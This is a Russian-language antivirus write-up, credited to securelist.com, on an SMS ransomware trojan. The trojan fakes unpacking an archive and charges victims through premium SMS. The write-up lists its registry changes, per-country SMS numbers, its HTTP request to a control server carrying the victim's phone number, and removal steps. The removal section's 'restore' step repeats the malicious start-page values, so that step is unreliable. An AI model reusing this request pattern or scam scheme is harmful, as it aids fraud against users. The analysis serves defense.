Технические детали
Вредоносная программа, требующая выкуп за получение содержимого зашифрованного архива, который, по мнению пользователя, содержит необходимый ему файл. Является приложением Windows (PE-EXE файл). Имеет размер 1212425 байт. Написана на C++.
Деструктивная активность
После запуска троянец выполняет следующие действия:
создает ключи системного реестра:
Изменяет стартовую страницу браузера Internet Explorer, устанавливая следующие значения ключей системного реестра:
[HKLM/Software/Microsoft/Internet Explorer/Main]
"Default_Page_URL"="http://www.sm***xi.net"
"Start Page"="http://www.sm***xi.net"
[HKCU/Software/Microsoft/Internet Explorer/Main]
"Default_Page_URL"="http://www.sm***xi.net"
"Start Page"="http://www.sm***xi.net"
В своем рабочем каталоге создает файл:
%WorkDir%/xsendexe.tmp
и записывает в него сроку:
est
Троянец отображает следующее окно:
После подтверждения пункта "Я согласен(на) с правилами", выбора места распаковки, а также нажатия на кнопку "Распаковать" – вредонос имитирует процесс распаковки файлов. На определенном этапе данный процесс останавливается и пользователю предлагается заполнить поля формы, а потом отправить СМС:
Для других стран предлагается отправить СМС с текстом:
43***04
Ниже приведены страна и номер, на который нужно отправить СМС:
Австрия 0930399999
Бельгия 7796
Болгария 1098
Чехия 9090199
Германия 80888
Дания 1945
Эстония 17013
Испания 5339
Финляндия 179479
Франция 83868
Венгрия 90645045
Киргизия 1171
Литва 1645
Латвия 1874
Нидерланды 7117
Норвегия 2322
Польша 7910
Португалия 68305
Швеция 72170
Для Украины, нужно отправить СМС с текстом:
77***01
на номер:
4161
При отправке подтверждающего сообщения троянец осуществляет следующий HTTP запрос:
GET /pass_request/?guid=3de9581b497e3ea0b9c822735a719b00&parid=0&xnum=&xid=&nomer=+7номер телефонаm=zb&fn=&xtime=rnd1&lp=rnd2HTTP/1.1
Accept: */*
Cache-Control: no-cache
User-Agent: Opera 10
Host: wlnrar-auth4.net
Connection: Keep-Alive
где rnd1 - произвольная числовая последовательность длинною 5 символов; rnd2 - произвольная последовательность цифр и букв латинского алфавита. В ответ сервер возвращает некоторое целое число, например "899".
Рекомендации по удалению
Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для её удаления необходимо выполнить следующие действия:
- При помощи Диспетчера задач завершить троянский процесс.
- Удалить оригинальный файл троянца (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
- Удалить файл:
%WorkDir%/xsendexe.tmp
- Удалить ключи системного реестра:
- Восстановить оригинальные значения ключей системного реестра:
[HKLM/Software/Microsoft/Internet Explorer/Main]
"Default_Page_URL"="http://www.sm***xi.net"
"Start Page"="http://www.sm***xi.net"
[HKCU/Software/Microsoft/Internet Explorer/Main]
"Default_Page_URL"="http://www.sm***xi.net"
"Start Page"="http://www.sm***xi.net"
- Произвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).
Источник: securelist.com.
| 
